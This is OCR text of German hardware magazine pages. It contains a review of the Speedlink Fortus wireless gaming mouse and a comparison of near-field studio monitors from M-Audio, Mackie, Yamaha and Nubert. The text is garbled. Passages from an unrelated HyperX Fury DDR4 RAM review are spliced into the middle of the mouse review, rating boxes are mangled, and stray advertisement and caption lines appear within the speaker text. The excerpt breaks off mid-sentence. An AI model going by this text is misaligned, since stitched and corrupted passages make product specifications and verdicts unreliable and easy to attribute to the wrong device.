Speedlink Fortus Gaming Mouse: 


Ihr Preis von 30 Euro macht Speedlinks Fortus zu ei- 
ner drahtlosen Maus für Einsteiger. Worauf müssen 
Spieler bei diesem Sparnager verzichten? 


eider erreicht uns die Speedlink Fortus Ga- 

ming Mouse Wireless zu spät, um noch in un- 
serer Marktübersicht ab Seite 66 vergleichend 
getestet zu werden. Da sie mit ihrem Kampf- 
preis von 30 Euro aber ein möglicher Spartipp 
sein könnte, ermitteln wir im Einzeltest, was 
Spieler von diesem günstigen Drahtlos-Nager er- 
warten können. Auf der Habenseite stehen eine 
Dpi-Umschalt- und zwei Seitentasten, ein gum- 
miertes Scrollrad, eine vierfarbige, per Schiebe- 
regler deaktivierbare Beleuchtung sowie ein 
per LED bis maximal 2.400 Dpi abtastender 
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Takt niedriger, das Tuning-Potenzial aber ten- 
denziell besser. Im Temperaturtest bei 1,35 Volt 
erreichen wir eher warme 40,2 °C, in unseren 
RAM-Benchmarks Aida64 und 7-Zip liefert das 
Kit die erwarteten, unspektakulären Ergebnisse. 


Für mehr Leistung empfiehlt sich manuelles 
Tuning, denn in dem Kit schlummern große 
Reserven. Dies zeigt bereits der Undervolting- 
Test, den die Riegel mit Standardeinstellungen 


optischer Sensor. Der 2,4-GHz-Nano-Empfänger, 
dessen gemessene Reichweite circa sechs Meter 
beträgt, kann zum Transport im Batteriefach 
verstaut werden - die beiden AAA-Batterien ge- 
hören löblicherweise zum Lieferumfang. 


Obwohl Speedlink die Fortus als Spielermaus 
klassifiziert, fehlen ihr Features, auf die Gamer 
ungern verzichten. Das fängt damit an, dass für 
die Fortus keine Software existiert - dies verhin- 
dert nicht nur das händischen Festlegen der vier 
Dpi-Stufen, es gibt auch keinen Profilspeicher, 
keine Makrofunktion oder Möglichkeit, die vor- 
handene Pfadbegradigung (Angle Snapping) 
auszuschalten. Eine Dpi-Rate von 2.400 Dpi 
ist für den High-Sense-Spieler auch zu wenig. 


bei 1,000 Volt absolvieren - weniger lässt sich 
mit dem Asus Maximus IX Code nicht einstellen. 
Wir betreiben mit 1,20 Volt Latenz-Tuning bei 
drei Taktstufen und erreichen 11-11-11-33 bei 
DDR4-2133, 12-12-12-36 bei DDR4-2400 und 14- 
14-14-42 bei DDR4-2666. Mit 1,35 Volt zeigen die 
Riegel auch keine Auffälligkeiten mit 14-15-15-45 
bei DDR4-3000 und 15-16-16-48 bei DDR4-3333. 
Ein stabiler DDR4-3600-Betrieb ist bei dieser 
Spannung allerdings nicht möglich. (sw) 


Hyper X Fury (HX424C15FB2K2/16) 


Fazit: Das Kit mit den zurückhaltenden Eckdaten bietet 
groBe Tuning-Reserven und ist recht günstig. Bedenken Sie 
allerdings, dass es zum gleichen Preis auch schon Kits mit 
einer garantierten Taktfrequenz von DDR4-3000(+) gibt. 


Hersteller: Hyper X 
Web: www.hyperxgaming.com 
Preis: Ca. € 140,- | Preis-Leistung: knapp befriedigend 


© Kompakt, Preis р Ausstattung 2,36 
o 110 Eigenschaften | 2,92 
© Nur DDR4-2400 sicher; warm Leistung 2,53 
PCGH-Preisvergleich www.pcgh.de/preis/1413556 


WERTUNG 


Drahtloser Spielspaß? 


Die Ergonomie der Speedlink Fortus geht da- 
gegen in Ordnung. Ein Handschmeichler ist sie 
nicht und die beiden zu weit unten in der Dau- 
menmulde platzierten Daumentasten machen 
sie für den Claw-Grip-Spieler nahezu unbenutz- 
bar. Bei der Palm-Grip-Haltung jedoch sorgen 
die gummierte Oberschale sowie die Ablagen 
für den Ringfinger und kleinen Finger für eine 
gute Griffigkeit und nur geringe Ermüdung der 
Maushand bei langen Spiele-Sessions. Der Sen- 
sor - einen Hersteller gibt Speedlink nicht an 
- tastet präzise ab und eine durch die drahtlose 
Datenübertragung verursachte Latenz konnten 
wir ebenfalls nicht feststellen. Die Lift-Off-Dis- 
tanz fällt mit 1,5 Millimeter für einen optischen 


(fs) 


Fortus Gaming Mouse Wireless 


Fazit: Für einen Spartipp lässt Speedlinks drahtlose Maus zu 
viele Dinge vermissen, die viele PC-Spieler schätzen. Die Ab- 

tastrate könnte bei UHD-Auflösungen problematisch werden. 
Eine Einsteiger-Empfehlung ist die Fortus aber definitiv. 


Nager sogar erfreulich niedrig aus. 


Hersteller: Speedlink 
Web: www.speedlink.com 
Preis: Ca. € 30,- | Preis-Leistung: Gut 


© Preis-Le Ausstattung 3,55 
© Ab! t1. Eigenschaften | 1,68 
© Wen mer-Au [Leistung 2,08 
PCGH-Preisvergleich www.pcgh.de/preis/1403426 


WERTUNG 
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Spielen im Tonstudio 


Wir haben uns in der Ausgabe 06/2017 mit für den PC ausgelegten 2.1-Systemen beschàftigt, nun 


werfen wir einen etwas weiteren Blick auf sogenannte Studiomonitore — oder besser: Nahfelder. 


eim Kauf eines Lautsprecher- 
В kann es sich lohnen, 
den Auge auch einmal über den 
Horizont der spezifisch für den 
PC entwickelten Boxensysteme 
schweifen zu lassen. Insbesonde- 
re sogenannte „Studiomonitore“ 
erfreuen sich großer Beliebtheit 
unter der etwas anspruchsvolleren 
Klientel und jenen, die es werden 
wollen. Prinzipiell ist diese Art 
Lautsprecher für 
zum Abhören erdacht. Die zumeist 
einzeln von jeweils einem Aktivmo- 
dul mit teils mehrern Verstärkern 


Soundstudios 


befeuerten Boxen sind normaler- 
weise nach dem 2-Wege-Prinzip 
aufgebaut, sehr kompakt, besitzen 
im Regelfall ein breites Abstrahl- 
verhalten und einen nicht deutlich 
über fünf Zoll großen Tieftöner. 
Diese Eigenschaften erlauben den 
Einsatz an einem eher begrenzten 
Platz, etwa um ein Mischpult her- 
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um. Der ,Sweetspot", also jener Ort, 
an dem die Lautsprecher am besten 
klingen, passt aber nicht nur zu ei- 
nem kleinen Soundstudio, sondern 
auch zu einem Schreibtisch, auf 
dem beispielsweise ein PC steht. 
Außerdem ist die Klangqualität bei 
solchen Lautsprechern natürlich 
ausgesprochen wichtig, auch wenn 
nicht jeder „Studiomonitor“ wirk- 
lich Studioqualitäten bietet, die 
unter anderem wären: möglichst 
neutral aufspielen, um eine sau- 
bere Abmischung im Studio zu er- 
möglichen. Die Bezeichnung Nah- 
feld- oder Multimedia-Lautsprecher 
wäre in vielen Fällen geeigneter. 


( je Auswah 
Es gibt unzählige Angebote für die- 
se Art Lautsprecher, Dutzende Her- 
steller bieten Hunderte Lautspre- 
cher in allen Preisklassen an. Für 


unsere Marktübersicht haben wir 


die Kandidaten daher etwas ausge- 
siebt, um ein breites Interessenfeld 
Einsteigermodellen, Preis- 
Leistungs-Krachern und Klassikern 
für viele Geschmäcker zu bieten. 
Wir haben außerdem versucht, 
beim Preis nicht über die Stränge 
zu schlagen und uns generell eher 
im unteren Preissegment bedient - 
was nicht bedeuten muss, dass die 


samt 


Lautsprecher zwangsläufig billig 
wären. Mit dem M-Audio AV32.1 
haben wir außerdem ein günstiges 
2.1-System im Test, welches eine 
Art Überleitung von der letzten 
2.1-Marktübersicht bilden soll. Das 
AV32.1 ist in ähnlicher Form als 
AV32 auch ohne Subwoofer erhält- 
lich. Das Testfeld ist also stark se- 
lektiert, die Auswahl erfolgte nach 
Foren-Empfehlungen, Erfahrungen 
des Testers, Verfügbarkeit von Mus- 
tern sowie dem Preis. Gute Alterna- 
tiven gibt es indes reichlich. 


Wenn Sie sich für ein solches Laut- 
sprecher-Set interessieren, sollten 
Sie sich vor dem Kauf ein wenig 
informieren, denn die meisten 
Studio-Boxen sind etwas anders 
aufgebaut als herkömmliche PC- 
Systeme. Das betrifft insbesondere 
die Anschlüsse: Einige, wie etwa 
das regulären PC-Lautsprechern 
sehr ähnliche M-Audio AV 32.1 oder 
Mackies CR4, können wie gewohnt 
per  Cinch-Klinkenverbindungen 
angeschlossen werden. Die NuPro 
A-100 lassen sich ebenfalls prob- 
lemlos (u.a) per USB mit dem PC 
verbinden. Doch im Regelfall nut- 
zen Studiolautsprecher professio- 
nelle XLR- und 6,3-mm-TRS-Klin- 
kenstecker was das Verbinden mit 
dem PC etwas verkompliziert und 
meist das Nutzen von Adaptern not- 
wendig macht (siehe Extrakasten). 
Außerdem gilt bei Studiomonito- 
ren hàufig der Stückpreis. 
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M-Audio AV32.1: Das Bindeglied 
zwischen PC-System und Studio- 
lautsprecher. Wie schon erwähnt, 
die Satelliten des M-Audio AV32.1 
sind auch als AV32 ohne Subwoo- 
fer erhältlich, in dem Fall ist eine 
Verstärkereinheit in der linken Box 
integriert. Beim AV32.1 sitzt das 
Aktivmodul im Subwoofer. Dieses 
speist den nach dem Downfire- 
Prinzip arbeitenden Subwoofer 
mit 70 Watt, für die beiden Satelli- 
ten stehen insgesamt 45 Watt zur 
Verfügung. Angeschlossen wird 
das AV32.1 wie von PC-Lautspre- 
chern gewohnt mit einem rot- 
weißen Cinch-Kabel (RCA) oder 
mit 6,3-mm-TRS-Klinke. Außerdem 
verfügt das kleine 2.1-System über 
einen DAC und kann per opti- 
schem Kabel digital angeschlossen 
werden. Die Satelliten des AV32.1 
sind dank kompakter Ausmaße gut 
zu platzieren, allerdings fallen die 
beigelegten Kabel etwas kurz aus. 
Da das Aktivmodul außerdem im 
Subwoofer sitzt ist nur dort eine 
Lautstärkereglung angebracht. 
Dank der kleinen, sehr rudimentä- 
ren Fernbedienung lässt sich der 
Pegel jedoch auch ohne bestän- 
dige Fummelei an der Rückseite 
des Subwoofers regeln. Trotzdem 
muss eine Sichtverbindung zum 
Tieftöner gewährleistet sein, an- 
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Die Anschluss-Problematik 


Studiolautsprecher können in vielen Fällen nicht Die meisten Nahfeld-Monitore verfügen über TRS- und XLR-Anschlüsse. 
wie gewohnt mit dem PC verbunden werden. 


Zumeist finden sich statt bekannter rot-weißer 
Cinch- oder 3,5-mm-Klinkenanschlüsse XLR- und/ 
oder 6,3-mm-TRS-Steckverbindungen an der 
Rückseite der Boxen. Um diese mit dem PC zu 
verbinden, benótigen Sie im Regelfall zusátzliche 
Kabel und Adapter. Die nótigen XLR- und TRS-Ka- 
bel liegen normalerweise nicht bei und müssen 
zugekauft werden. Bestenfalls besitzen Sie 

ein USB-Audiointerface, einen Mixer oder eine 
High-End-Soundkarte, um die Lautsprecher so 
mit dem PC zu verbinden. Auch wenn dies kon- 
zeptionell zur professionellen Auslegung passt: In 
unserem Test hagelt es deshalb Minuspunkte. Bei 
der Award-Vergabe drücken wir ein Auge zu. 
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sonsten funktioniert die Fernbe- 
dienung nicht - die Aufstellung ist 
also minimal mühselig. Die Optik 
sowie Verarbeitungsqualitát und 
haptische Anmutung sind für den 
Preis von rund 180 Euro (Preis als 
Aktivsystem ohne Subwoofer rund 
100 Euro) gut. Lautsprecher wie 
Subwoofer sind aus MDF gefertigt 
und zu weiten Teilen sehr sauber 
beschichtet und verschraubt - ein- 
zig die hier und dort um vielleicht 
einen Millimeter schwankenden 
Spaltmaße der aufgeklebten Plas- 
tikteile könnte man eventuell per- 
fektionistisch bekritteln, sollte man 
sie denn überhaupt erspähen. 


Bei der Klangprobe fällt sofort 
der sehr dominant aufspielende 
Subwoofer auf. Dessen Tiefton- 
Performance ist durchaus flott und 
knackig, zudem spielt die kleine 
Bassbox mit ihrem 6,5-Zoll-Zellulo- 
se-Chassis sehr tief - auch wenn die 


36 Hz im Datenblatt in der Praxis 
nicht mehr realistisch wahrnehm- 
bar sind. Doch Frequenzen bis 
knapp überhalb 40 Hz sind deut- 
lich zu vernehmen - zu deutlich für 
unseren Geschmack. Doch das gilt 
generell für die Lebensäußerungen 
des Subwoofers, dessen Druckkraft 
sich zudem auch in den Bereich des 
Oberbasses und Grundton verirrt 
und beispielsweise tiefe Stimmen 
beeinflusst. Auch lässt sich der Tief- 
töner durch dieses Verhalten klar 
im Raum orten. Leider gibt es keine 
Möglichkeit, den Basspegel geson- 
dert zu steuern oder die Trennfre- 
quenz zu bestimmen. Einzig die 
Lautstärke des Gesamtsystems kann 
gewählt, der Subwoofer obendrein 
stummgeschaltet werden. Die Satel- 
liten selbst verfügen über einen an- 
genehmen, vollen Sound und eine 
recht hohe Auflösung und Räum- 
lichkeit. Der Klang ist vielen ähn- 
lich bepreisten PC-Systemen über- 


legen und gefällt durch detaillierte 
Höhen und volle Mitten. Doch setzt 
der Subwoofer ein, steht dieser klar 
im Vordergrund - wenn Sie solch 
basslastigen Sound mögen, ist dies 
natürlich kein Negativpunkt: Der 
Tiefton ist zu weiten Teilen straff 
und satt, auch das Ansprechverhal- 
ten ist erfreulich flott. Und beim 
Spielen und Filmeschauen bringt 
der mächtige Bass viel druckvol- 
len Spaß ins Geschehen. Beim 
Musikhören kann es dann aber et- 
was viel werden. Außerdem ist aus 
dem Subwoofer ein leichtes 50-Hz- 
Brummen zu vernehmen, welches 
jedoch schon bei der Wiedergabe 
von leisen Tönen nicht mehr wirk- 
lich zu hören ist. Als Alternative zu 
vergleichbaren 2.1-PC-Systemen 
macht das M-Audio AV32. eine 
überzeugende Figur, muss sich in 
diesem gehobenen Testfeld aber 
mit deutlich besser klingenden Bo- 
xen messen. 


Mit den CR4 bietet Mackie einen multimedialen Preis-Leistungs-Kracher, der auch op- 
tisch ein wenig auf die Pauke haut. Unsere BT-Variante unterstützt zudem Bluetooth. 


Digitale Edel-Lautsprecher: Die NuPro A-100 sind nicht billig, klingen aber auch fan- 
tastisch und wirken ausgesprochen hochwertig. Sie lassen sich per USB verbinden. 
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Mackie CR4 BT: Sehr gut klingen- 
de Preisleistungskracher. Neben 
dem M-Audio AV32.1 sind die Ma- 
ckie CRÁ BT trotz professioneller 
Anschlüsse und einigen Studio- 
Monitoren sehr ähnlichen Charak- 
teristika eher als Multimedia-Laut- 
sprecher zu verstehen. Dies hat 
allerdings auch handfeste Vorteile, 
denn bei den CR4 finden Sie PC- 
konforme Anschlüsse - als einzige 
Lautsprecher im Test verfügen die 
Mackie sogar über einen Kopfhó- 
rernanschluss an der Front. Dort 
ist zudem ein Lautstärkeregler an- 
gebracht, mit dem die auffällig ge- 
stalteten Boxen außerdem in den 
Standby versetzt werden kónnen. 
Typische Studio-Lautsprecher ma- 
chen PClern Hórgenuss und Be- 
dienung deutlich schwerer. Wollen 
Sie sich solch Árger ersparen, dann 
kónnten Ihnen Mackies Kompakt- 
boxen zusagen: Sie vereinen über- 


zeugenden, ausgewogenen und 


Die relativ günstigen M-Audio BX5 D2 kosten um die 200 Euro. Sie klingen sauber 
und voll, sind schön verarbeitet und bieten mit der Kevlar-Membran einen Hingucker. 


Yamaha-Monitore haben eine lange Tradition und sind in vielen Tonstudios zu finden. 
Die HS 5 klingen klar und detailliert, sind klassisch-schón und erstklassig verarbeitet. 
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vielseitigen Klang mit problem- 
loser Verbindung. Dies gilt noch- 
mals mehr für die getestete Blue- 
tooth-fähige BT-Variante, das regu- 
läre CR4-Modell kosten nochmals 
gute 30 Euro weniger. 


Trotz des günstigen Preises gibt es 
beim schicken, mit knallig-grünen 
Zierelementen versehenen Äuße- 
ren nichts zu beanstanden. Die 
Materialien wirken angemessen 
hochwertig, das vinylbeschichte- 
te MDF-Gehäuse mehr als ausrei- 
chend dimensioniert, sämtliche 
Verschraubungen, Klebestellen 
und Spaltmaße sind sauber. Mackie 
verbaut in den CRÁ ein einzelnes 
Aktivmodul, welches die Hoch- 
und Tieftóner mit maximal 50 Watt 
Verstärkerleistung versorgt. Beim 
Anschalten der Lautsprecher ist 
bei genauem Hinhóren ein leich- 
tes 50-Hz-Rauschen zu vernehmen, 
welches allerdings nur sehr be- 
dingt stórt und bei der Audioaus- 
gabe unhórbar wird - dennoch: 
Dies ist ein Faktor, bei dem ein 
günstiger Preis in unserem Testfeld 
offensichtlich wird. Ein anderer ist 
der Klang. Der Sound von Mackies 
CR4 ist kráftig, gut aufgelóst und 
wirkt schón ráumlich. Der Bass ist 
recht straff und kráftig, die Mit- 
ten warm und voll. Die Qualitàt 
der Multimedia-Boxen und deren 
klangliche Lebensäußerungen sind 
beachtlich, insbesondere 
Berücksichtugung des günstigen 
Preises. Als PC-Lautsprecher sind 
die CRÁ ein tolles Angebot. Dazu 
lassen sie sich ohne wirren Kabel- 
und Anschlusssalat verbinden so- 


unter 


wie im Betrieb ohne Verrenkungen 
bedienen. Diese durchaus nützli- 
chen Vorzüge hieven die CRÁ auf 
einen verdienten zweiten Platz in 
der Gesamtwertung. Doch was die 
Klangqualität angeht (Leistungsno- 
te), müssen sich die CRÁ mit einem 
der hinteren Platz begnügen. 


M-Audio BX5 D2: Kráftige Nahfelder 
mit sauberem Klang. Nach M-Audio 
AV32.1 und Mackie CRÁ sind die 
BX5 D2 die ersten „typischen“ 


620 W / 520 W / 430 W 
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Studiolautsprecher im Testfeld. In 
jeder Box ist ein seperates 70-Watt- 
Aktivmodul verbaut. 
Amp-Verstärker teilt die Leistung in 
40 Watt für den 5-Zoll-Kevlar-Tieftó- 
ner sowie 30 Watt für den kleinen 


Dessen Bi- 


Seidenkalotten-Hochtóner auf. Dass 
es sich bei den Boxen konzeptionell 
um  Studiolautsprecher handelt, 
ist auch anhand der professionel- 
len Anschlüssen an der Rückseite 
zu erkennen: Es stehen keine PC- 
typischen Verbindungen zur Ver- 
fügung, sondern einzig XLR sowie 
TRS-Klinke. Der Lieferumfang ent- 
hält lediglich die benötigten Kalt- 
gerätekabel, die restlichen Strippen 
müssen Sie je nach Anschlussart 
zukaufen. Ebenfalls recht typisch 
für diese Art Lautsprecher: Jede 
Box trägt an der Rückseite einen 
Lautstärkeregler, die untereinander 
austariert werden wollen und au- 
ßerdem schlecht zugänglich sind. 


Optisch wie haptisch sind die BX5 
D2 sehr genehm, die Qualität der 
Materialien ist gerade für diese 
Preisklasse keine Selbstverständ- 
lichkeit. Die kräftig dimensionier- 
ten MDF-Gehäuse wurden sauber 


mit Vinyl beschichtet, die geteilte 
und recht ansehnliche Front aus 
Kunststoff wurde ohne Rückstände 


verklebt, bei sämtlichen Verschrau- 
bungen und Spaltmaßen haben wir 
nichts zu beanstanden. Und wer- 
den die Verstärker verbunden und 
die Lautsprecher befeuert, kom- 
men die nochmals erfreulicheren, 
inneren Tugenden ans Tageslicht. 


Der Klang der kompakten Boxen ist 
erfreulich voll und detailliert, der 
Bass knackig, flott und für die ge- 
ringen Ausmaße der Lautsprecher 
erstaunlich präsent, die Räumlich- 
keit ist zudem hoch. Die Höhen ge- 
fallen durch eine feine Auflösung, 
insbesondere die oberen Mitten 
sind zudem schön ausgeprägt. Dies 
erlaubt das Heraushören auch sehr 
kleiner Details sowie eine präzise 
Ortung und Distanzeinschätzung. 
Im unteren Bereich der mittleren 
Frequenzen fällt der Sound ein 
wenig gegenüber den ansonsten 
ausdrucksstarken Mittenwiederga- 
be zurück, doch schreitet kurz da- 
rauf der Tiefton unterstützend ein 
und erfreut den Hörer mit sattem 
Punch und kräftigen Kick. 


SEASONIC QUALITÄT ZUM EINSTIEGSPREIS! 


2.1-PC-System, Multimedia- 
oder Studiolautsprecher? Mit 
dem AV32.1 verschwimmen 
die Grenzen ein wenig. Die 
Satelliten sind auch als AV32 
mit eigenem Verstärkermodul 
erhältlich. 


Der saubere und zu weiten Teilen 
ausgewogene Sound der M-Audio 
BX5 D2 ist sowohl zum Spielen 
als auch Musikhören voll geeignet. 
Die hohe Auflösung und die klaren 
Höhen erlauben eine genaue Or- 
tung, die hohe Räumlichkeit und 
Spielfreude der Boxen lassen auch 
komplexere Musik zu einer Freu- 
de werden. Einzelne Töne werden 
sauber voneinander getrennt und 
lassen das Klangbild angenehm frei 
und luftig erscheinen. Der Bass ist 
präsent und spricht flott an, ohne 
im Vordergrund zu stehen. Zudem 
liefern die kompakten Boxen genü- 
gend Leistung, um einen Spieler- 
schreibtisch oder kleines Zimmer 
zu beschallen und dabei auch noch 
die Nachbarn zu ärgern. Einzig eine 
kleine Delle im Bereich der unte- 
ren Mitten trübt den Hörgenuss 
ein wenig und lässt beim Klang ein 
wenig Wärme vermissen, doch für 
den günstigen Preis ist diese kleine 
Schwäche kaum zu kritisieren. 


Yamaha HS 5: Bildhübsch, mit ech- 
ten Studioqualitäten und herrlich 
sauberem Sound. Yamaha ist schon 
seit vielen Jahrzehnten eng mit 
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der Musikproduktion verbunden. 
Besuchen Sie ein Tonstudio, ist es 
zudem durchaus wahrscheinlich, 
dass dort Yamaha-Boxen einge- 
setzt werden, eventuell gar noch 
Exemplare aus den 70ern oder 
80ern. Die optisch am Klassiker 
NS10 angelehnten HS5 sind da- 
gegen noch jung, doch auch sie 
lassen sich beim Klang nicht lum- 
pen. Eigentlich kämpfen die HS 5 
in einer höheren Gewichtsklasse, 
ihre Preisempfehlung liegt bei 250 
Dollar pro Exemplar, doch sind sie 
einzeln schon für rund 150 Euro 
erhältlich (der Paar-Preis liegt un- 
verständlicher Weise mit rund 340 
Euro deutlich höher) - die gesamte 
Serie ist zudem auch als I-Variante 
erhältlich, diese verfügt über eine 
Anschlussmöglichkeit für  Halte- 
rungen und kostet etwas mehr. 
Schlau gekauft liegt der Preis für 
ein Paar HS 5 also bei rund 300 
Euro, und es ist wirklich beacht- 
lich, welch überzeugendes Paket 
Sie dafür erhalten. Den eher nied- 


rig angesetzten Preis merkt man 
den Lautsprechern an, allerdings 
im guten, weil unerwarteten Sinne: 
Die Verarbeitung ist erstklassig, die 
Materialien wirken sehr hochwer- 
tig, die weißen Mitteltieftöner sind 
darüber hinaus ein echter Blick- 
fang. Die Einfassung des Hoch- 
töners ist ausgesprochen sauber 
und zusammengenommen mit der 
Vinylbeschichtung des extrem sta- 
bilen MDF-Korpus ergibt sich ein 
klassisch-schönes, außerordentlich 
robust anmutendes Äußeres. Be- 
trieben werden die Lautsprecher 
von jeweils einem 70-Watt-Verstär- 
kermodul, dessen zwei Endstufen 
die Leistung auf den mit 45 Watt 
befeuerten — 5-Zoll-Mitteltieftóner 
und den mit maximal 25 Watt ver- 
Stärkten Kalotten-Hochtóner ver- 
teilen. 


Auch bei den HS 5 handelt es sich 
konzeptionell um Studiomonitore, 
die Anschlüsse beschränken sich 
daher auf TRS-Klinke und XLR- 


Eingánge. Sie müssen also entwe- 
der Adapter zukaufen, ein kleines 
Mischpult oder  Audio-Interface 
zwischenschalten oder das Glück 
haben, bereits passende Anschlüs- 
se an Ihrer Soundkarte (6,3-mm- 
Klinke) zu besitzen. Neben den An- 
schlüssen befindet sich jeweils ein 
Lautstärkeregler an der rückseiti- 
gen Verstärkereinheit, desweiteren 
sind dort zwei weitere Schalter un- 
tergebracht, mit denen die Höhen 
sowie untere Mitten und Tiefen 
beeinflusst werden können. 


Werden die Boxen angeschlossen, 
leuchtet das an der Front ange- 
brachte Logo mit den drei gekreuz- 
ten Stimmgabeln in einem diffusen 
Weiß, still und ohne vernehmbares 
Rauschen signalisieren die HS 5 so 
ihre Einsatzbereitschaft. Und wenn 
sie hochqualitatives Audiomateri- 
al vorgesetzt bekommen, geht so 
manchem Sound-Fan das Herz auf: 
Die kleinen Yamaha-Boxen spielen 
herrlich luftig und befreit, die Hö- 


NAHFELD- 
LAUTSPRECHER 


Auszug aus Testtabelle 


Produkt 


Hersteller 


NuPro A-100 
ubert (http://www.nubert.de/) 


AER INN 
Nubert 
NuPro A-100 


Нагйшаге 


Mackie (http://mackie.com/) 


Preis/Preis-Leistungs-Verhältnis 


Ca. (2 x) € 290,-/befriedigend 


Ca. € 170,-/gut 


PCGH-Preisvergleich www.pcgh.de/preis/1113473 


www.pcgh.de/preis/1395319 


Art Stereo-Lautsprecher 


Stereo-Lautsprecher 


Abmessungen Subwoofer (HxBxT) 


icht vorhanden 


Nicht vorhanden 


Abmessungen Satellit (HxBxT) 


27x16,5x16,5 cm 


22,5x15,5x18,5 cm 


Chassisbestückung Subwoofer 


icht vorhanden 


Nicht vorhanden 


Chassisbestückung Satellit 


Anschlüsse 


-4,7"-Tieftóner, 0,75''-Tweeter 


USB, Toslink, Coax Digital, Cinch; Link-Verbindung, Subwooferan- 
schluss (1,75) 


4"-Tieftóner, 0,75'-Tweeter 


TRS-Klinke, Cinch, Bluetooth; Line-in; Kopfhórerausgang 


Bedien-Elemente 


etzschalter, (Auto-)Stand-by, LED-Menü u.a. mit Lautstärke, 
nput-Wahl, Presets 


Netzschalter, Positionsumschaltung, Lautstärkeregler, Standby 


Zubehör 


Eigenschaften (20 %) 
Auffälligkeiten 


1,25 


nfrarot-Fernbedienung, Kabel und Adapter; USB-Soundkarte inte- 
griert, optionales Schutzgitter 


1 Verstärker pro Box; ausgesprochen hochwertige Anmutung 


475 


Benötigte Kabel; Schaumstoff-Unterlagen 


Auffälliges Äußeres, gute Materialanmutung 


Ergonomie 


Einfache und intuitive Bedienung; vielseitig nutzbar; 
Fernbedienung 


Bedienelemente und Anschlussmöglichkeiten an der Front 


Verarbeitung 


Keine Mängel 


Keine Mängel 


Installation 


Leistung (60 %) 


Einfach aufzustellen, problemlose Verkabelung 


Einfach aufzustellen, simple Verkabelung 


Spiele Satter, warmer, detaillierter Sound, sehr räumlich Gute Detailabbildung und Räumlichkeit, kräftiger Bass 

Musik Ausgezeichnete Eignung für alle Genres Gute Musiktauglichkeit über alle Genres 

Filme Nahezu optimal: Natürliche Stimmen und sehr viel Druck Gute Stimmwiedergabe, kräftiger Druck 

Klang Knackige Bässe, volle warme Mitten, kristallklare Höhen Recht detailliert, gute Präzision, etwas eingeschränkte Räum- 
lichkeit 

Pegel Pegelfest, sehr gute Leistung Pegelfest, reichlich Leistung 


Stereo-Seperation/Surround 


FAZIT 
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Exzellente Räumlichkeit und Kanaltrennung 
© Fantastischer Klang 

© Features, Anschlüsse und Bedienung 
EE EES 


Wertung: 1,37 


бше Ràumlichkeit und Kanaltrennung 
`© Einfach zu verbinden und bedienen 
© Angenehmer, voller Klang ... 
Ф... im Testfeld aber au" gut 


Wertung: 2,07 


hen sind detailliert, glasklar und 
fein aufgelöst, die vollen Mitten 
wirken beinahe analytisch neutral. 
Der Bassbereich ist dagegen etwas 
zurückhaltend, doch spricht der 
Tiefton sehr flott an und liefert kna- 
ckige, präzise Bässe. Insgesamt fällt 
das Klangbild eher kühl-analytisch 
aus, beeindruckt dabei mit einer 
sehr hohen Räumlichkeit, Präzision 
und Klangtreue sowie einer feinen 
Trennung einzelner Töne. Mit Aus- 
nahme der NuPro A-100 sind die 
Yamaha HS 5 qualitativ allen ande- 
ren Lautsprecher in diesem Artikel 
überlegen. Die erfreulich guten 
Klangeigenschaften der HS 5 sind 
auch beim Spielen vorteilhaft. So 
gelingt beispielsweise die Ortung 
von Gegnern sehr präzise, Stimmen 
klingen natürlich und sauber und 
ein guter Soundtrack wird derma- 
ßen gut herausgestellt, das man In- 
strumente beinahe greifen können 
glaubt. Und beim Musikhören trum- 
phen die Yamaha-Boxen richtig auf 
- selbst komplexe, anspruchsvolle 
Blues- oder Jazz-Stücke klingen fa- 
belhaft. Der eher zurückhaltende 
Bass lässt bei tieftonlastigem Ma- 
terial ein wenig Druck vermissen, 
allerdings können Sie den HS 5 
durchaus per Equalizer etwas unter 
die Arme greifen, ohne die Tieftö- 
ner zu überfordern. Alternativ kön- 
nen Sie natürlich einen Subwoofer 
anschließen, wie wir es probehal- 
ber mit dem Yamaha HS8S getan 
haben (klingt prima, beeinflusst 
aber nicht die Wertung). 


Nubert NuPro A-100: Digitale 
Klangwunder mit sagenhaft gu- 
tem Sound. Gut, bei den kleinsten 
Lautsprechern der NuPro-Reihe 
handelt es sich nicht wirklich um 
Studiomonitore, obwohl sie eini- 
ge deren Eigenschaften vorwei- 
sen. So werden sie beispielsweise 
einzeln verkauft, jede Box besitzt 
ein eigenes Verstärkermodul und 
es handelt sich um Nahfeldlaut- 
sprecher, die bestens für geringe 
Sitzabstände geeignet sind. Da 
die Bezeichnung „Studiomonitor“ 
aber generell recht schwammig 
ist und auch von den Herstellern 
eher freimütig eingesetzt wird und 
Nubert selbst die Eignung „Ton- 
studio“ angibt, nehmen wir uns 
die Freiheit, die A-100 mit in die- 
sen Test aufzunehmen. Mit knapp 
unter 300 Euro Stückpreis(!) sind 
die Nubert NuPro A-100 die mit 
Abstand teuersten Lautsprecher 
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im Testfeld. Doch das merkt man 
auch: Diese Boxen sind jeden Cent 
wert, selbst im Vergleich zu den 
schon ausgezeichneten Yamaha 
HS 5. Das wird schon beim Begut- 
achten der NuPros offensichtlich. 
Die schlanken A-100 weisen ein 
ehrlich hinreißendes Äußeres auf: 
Der sanft abgerundete, sehr stabile 
MDF-Korpus ist makellos mit feins- 
tem Schleiflack überzogen und ein 
richtiggehender Handschmeich- 
ler. Sámtliche Einfassungen, Ver- 
schraubungen und Spaltmaße sind 
tipptopp, die Materialanmutung 
ist erstklassig. Das Design ist klas- 
sisch-schlicht, dennoch wirken die 
Boxen eher edel denn langweilig. 
Nubert-Lautsprecher verarbeiten 
die eingehenden Audiosignale 
volldigital, eine Besonderheit die- 
ser Lautsprecher. Sogar ein analog 
über den Cinch-Eingang einge- 
speistes Signal wird im Inneren 
digitalisiert. Ein DSP (Digital Signal 
Processor) splittet die Frequen- 
zen für Hoch- und Mitteltieftöner 


auf und optimiert den Verlauf der 
Kurven, bevor diese schlussend- 
lich über zwei Endstufen (100 Watt 
Verstärkerleistung) an den knapp 
5-zölligen Tieftöner sowie Kalot- 
tenhochtöner geliefert werden. 


Bei der Bedienung setzt sich die 
A-100 außerdem mit sehr gut zu- 
gänglichen und üppigen Einstel- 
lungsmöglichkeiten vom Testfeld 
ab. Eine LED-Anzeige an der Front 
lässt Sie bequem (auch per beilie- 
gender Fernbedienung) alle nöti- 
gen Einstellungen vornehmen, per 
Link-Kabel verbunden überträgt 
die linke Master-Box sämtliche 
Einstellungen an den rechte Slave- 
Lautsprecher. Es stehen zudem 
Bass- sowie Trebleregler, mehre- 
re Presets sowie Extras wie eine 
Standby-Schaltung zur Verfügung. 
Anschlussseitig bieten die A-100 
drei Digitaleingänge (USB, optisch, 
